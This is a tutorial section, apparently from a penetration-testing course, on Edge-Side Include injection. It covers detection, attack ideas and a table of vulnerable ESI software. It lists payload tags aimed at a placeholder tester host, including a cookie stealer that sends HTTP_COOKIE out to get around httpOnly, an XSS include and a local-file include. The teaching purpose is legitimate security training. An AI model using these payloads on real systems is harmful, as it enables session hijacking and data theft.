Edge-Side Includes (ESI)

Edge Side Includes (`ESI`) is an XML-based markup language used to tackle performance issues by enabling heavy caching of Web content, which would be otherwise unstorable through traditional caching protocols. Edge Side Includes (ESI) allow for dynamic web content assembly at the edge of the network (Content Delivery Network, User's Browser, or Reverse Proxy) by instructing the page processor what needs to be done to complete page assembly through ESI element tags (XML tags).

ESI tags are used to instruct an HTTP surrogate (reverse-proxy, caching server, etc.) to fetch additional information regarding a web page with an already cached template. This information may come from another server before rendering the web page to the end-user. ESI enable fully cached web pages to include dynamic content.

Edge-Side Include Injection occurs when an attacker manages to reflect malicious ESI tags in the HTTP Response. The root cause of this vulnerability is that HTTP surrogates cannot validate the ESI tag origin. They will gladly parse and evaluate legitimate ESI tags by the upstream server and malicious ESI tags by an attacker.

Although we can identify the use of ESI by inspecting response headers in search for `Surrogate-Control: content="ESI/1.0"`, we usually need to use a blind attack approach to detect if ESI is in use or not. Specifically, we can introduce ESI tags to HTTP requests to see if any intermediary proxy is parsing the request and if ESI Injection is possible. Some useful ESI tags are:

ESI Tags

Code: html

```
// Basic detection
<esi: include src=http://<PENTESTER IP>>

// XSS Exploitation Example
<esi: include src=http://<PENTESTER IP>/<XSSPAYLOAD.html>>

// Cookie Stealer (bypass httpOnly flag)
<esi: include src=http://<PENTESTER IP>/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>
```

In some cases, we can achieve remote code execution when the application processing ESI directives supports XSLT, a dynamic language used to transform XML files. In that case, we can pass `dca=xslt` to the payload. The XML file selected will be processed with the possibility of performing XML External Entity Injection Attacks (XXE) with some limitations.

GoSecure has created a table to help us understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported. Let us provide some explanations regarding the column names of the below table first:

- Includes: Supports the `<esi:includes>` directive
- Vars: Supports the `<esi:vars>` directive. Useful for bypassing XSS Filters
- Cookie: Document cookies are accessible to the ESI engine
- Upstream Headers Required: Surrogate applications will not process ESI statements unless the upstream application provides the headers
- Host Allowlist: In this case, ESI includes are only possible from allowed server hosts, making SSRF, for example, only possible against those hosts

Software	Includes	Vars	Cookies	Upstream Headers Required	Host Whitelist
Squid3	Yes	Yes	Yes	Yes	No
Varnish Cache	Yes	No	No	Yes	Yes
Fastly	Yes	No	No	No	Yes
Akamai ESI Test Server (ETS)	Yes	Yes	Yes	No	No
NodeJS esi	Yes	Yes	Yes	No	No
NodeJS nodesi	Yes	No	No	No	Optional

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left